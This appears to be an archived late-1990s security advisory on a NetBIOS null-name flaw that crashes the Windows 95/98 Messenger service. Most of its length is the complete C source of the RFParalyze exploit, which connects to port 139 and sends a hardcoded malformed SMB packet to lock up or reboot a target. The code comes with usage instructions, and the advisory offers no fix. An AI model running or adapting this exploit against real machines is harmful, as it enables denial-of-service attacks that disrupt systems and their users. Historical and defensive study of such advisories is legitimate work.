COMMAND
NetBIOS
SYSTEMS AFFECTED
Win 95/98
PROBLEM
Following is based on el8.org advisory by Evan Brewer and Rain
Forest Puppy. Through a netbios session request packet with a
NULL source name, Windows 9[5,8] show a number of odd responses.
Everything from lockups, reboots and "the blue screen of death",
to total loss of network connectivity. Note that neither el8 or
wiretrip discovered the vulnerability; instead, a binary-only
exploit found in the wild was reversed, and the demonstration
code attached was reconstructed. So it should be noted:
THIS HAS BEEN FOUND IN THE WILD.
The vulnerability specificly targets the Messenger service on
Windows 9[5,8]. At this point, it's doubtful there's anything
more worthy than a DoS capable. However, any information to the
contrary would be appreciated.
/* - el8.org advisory: RFParalyze.c
code by rain forest puppy <rfp@wiretrip.net> -
coolness exhibited by Evan Brewer <dm@el8.org> -
- Usage: RFParalyze <IP address> <NetBIOS name>
where <IP address> is the IP address (duh) of the target (note:
not DNS name). <NetBIOS name> is the NetBIOS name (again, duh) of
the server at the IP address given. A kiddie worth his scripts
should be able to figure out how to lookup the NetBIOS name.
Note: NetBIOS name must be in upper case.
This code was made from a reverse-engineer of 'whisper', a
binary-only exploit found in the wild. It's by Marcy Abene.
I have only tested this code on Linux. Hey, at least it's
not in perl... ;) -rfp
*/
#include <stdio.h> /* It's such a shame to waste */
#include <stdlib.h> /* this usable space. Instead, */
#include <string.h> /* we'll just make it more */
#include <netdb.h> /* props to the men and women */
#include <sys/socket.h> /* (hi Tabi!) of #!adm and */
#include <sys/types.h> /* #!w00w00, because they rock */
#include <netinet/in.h> /* so much. And we can't forget*/
#include <unistd.h> /* our friends at eEye or */
#include <string.h> /* Attrition. Oh, +hi Sioda. :) */
/* Magic winpopup message
This is from \\Beav\beavis and says "yeh yeh"
Ron and Marty should like the hardcoded values this has ;)
*/
char blowup[]= "\x00\x00\x00\x41\xff\x53\x4d\x42\xd0\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x19\x00\x04\x42\x45\x41\x56\x00\x04\x42\x45\x41\x56\x49"
"\x53\x00\x01\x08\x00\x79\x65\x70\x20\x79\x65\x70\x00\x00";
struct sreq /* little structure of netbios session request */
{
char first[5];
char yoname[32];
char sep[2];
char myname[32];
char end[1];
};
void Pad_Name(char *name1, char *name2); /* Thanks Antilove/ADM 4 codez!*/
int main(int argc, char *argv[]){
char buf[4000], myname[33], yoname[33];
struct sockaddr_in sin;
int sox, connex, x;
struct sreq smbreq;
printf("RFParalyze -- this code by rfp/ADM/Wiretrip/ and dm/el8/\n");
if (argc < 3) {
printf("Usage: RFParalyze <IP of target> <NetBIOS name>\n");
printf(" --IP must be ip address, not dns\n");
printf(" --NetBIOS name must be in UPPER CASE\n\n");
exit(1);}
printf("Greetz to el8.org, Technotronic, w00w00, USSR, and ADM!\n");
Pad_Name("WICCA",myname); /* greetz to Simple Nomad/NMRC */
myname[30]='A'; /* how was Beltaine? :) */
myname[31]='D';
Pad_Name(argv[2],yoname);
yoname[30]='A';
yoname[31]='D';
printf("Trying %s as NetBIOS name %s \n",argv[1],argv[2]);
sin.sin_addr.s_addr = inet_addr(argv[1]);
sin.sin_family = AF_INET;
sin.sin_port = htons(139);
sox = socket(AF_INET,SOCK_STREAM,0);
if((connex = connect(sox,(struct sockaddr_in *)&sin,sizeof(sin))) < 0){
perror("Problems connecting: ");
exit(1);}
memset(buf,0,4000);
memcpy(smbreq.first,"\x81\x00\x00\x44\x20",5); /*various netbios stuffz*/
memcpy(smbreq.sep,"\x00\x20",2); /*no need to worry about*/
memcpy(smbreq.end,"\x00",1); /*what it does :) */
strncpy(smbreq.myname,myname,32);
strncpy(smbreq.yoname,yoname,32);
write(sox,&smbreq,72); /* send initial request */
x=read(sox,buf,4000); /* get their response */
if(x<1){ printf("Problem, didn't get response\n");
exit(1);}
if(buf[0]=='\x82') printf("Enemy engaged, going in for the kill...");
else {printf("We didn't get back the A-OK, bailing.\n");
exit(1);}
write(sox,&blowup,72); /* send the magic message >:) */
x=read(sox,buf,4000); /* we really don't care, but sure */
close(sox);
printf("done\n");
}
void Pad_Name(char *name1, char *name2)
{ char c, c1, c2;
int i, len;
len = strlen(name1);
for (i = 0; i < 16; i++) {
if (i >= len) {
c1 = 'C'; c2 = 'A'; /* CA is a space */
} else {
c = name1[i];
c1 = (char)((int)c/16 + (int)'A');
c2 = (char)((int)c%16 + (int)'A');
}
name2[i*2] = c1;
name2[i*2+1] = c2;
}
name2[32] = 0; /* Put in the null ...*/
}
SOLUTION
Nothing yet.